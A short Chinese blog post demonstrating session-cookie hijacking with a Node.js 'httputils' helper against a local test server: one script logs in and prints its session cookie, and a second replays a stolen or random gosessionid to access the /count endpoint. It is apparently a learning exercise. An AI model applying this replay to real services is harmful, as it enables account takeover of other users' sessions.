httputils的应用

正常玩Cookie. 退出时显示这个Cookie让劫持者看到.


'use strict';

const httputils = require("./httputils");

const TargetHost = "localhost";
const TargetPort = 10011;
let doGetTo = httputils.makeDoGetTo(TargetHost, TargetPort);
let doPostTo = httputils.makeDoPostTo(TargetHost, TargetPort);

let gCookie = null;

doPostTo("/login", {
    username: 'cartman',
    password: 'poder'
}, null).then((rs) => {
    //console.log("before moving to next:\n%s", JSON.stringify(cookie, null, 4));
    //return doGetTo("/shutdown", rs.cookie);
    console.log("starting with cookie:");
    gCookie = rs.cookie;
    console.log(rs.cookie);
    startCount(rs.cookie);
});

function startCount(cookie) {
    setTimeout(() => doGetTo("/count", cookie).then((rs) => {
        console.log("%s", rs.response.trim());
        startCount(cookie);
    }), 0);
}

process.on('uncaughtException', (e) => {
    if (e.errno == 'ECONNREFUSED') {
        console.log("Cannot connect to target");
    } else {
        console.error(e);
    }
});
process.on('SIGINT', () => {
    console.log(gCookie);
    process.exit(-1);
});

接下来就是盗用/劫持cookie:

#!/usr/bin/env node

'use strict';
const httputils = require("./httputils");
const doGetTo = httputils.makeDoGetTo("localhost", 10011);

function randCookie() {
    let rv = '';
    for (let i = 0; i < 32; ++i) {
        rv += String.fromCharCode(Math.floor(Math.random() * 26) + 65);
    }
    return rv;
}

const cookie = process.argv[2] || randCookie();
console.log("starting with %s", cookie);

doGetTo("/count", {
    gosessionid: cookie
}).then((rs) => {
    console.log(rs.response);
    console.log(rs.cookie);
});
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值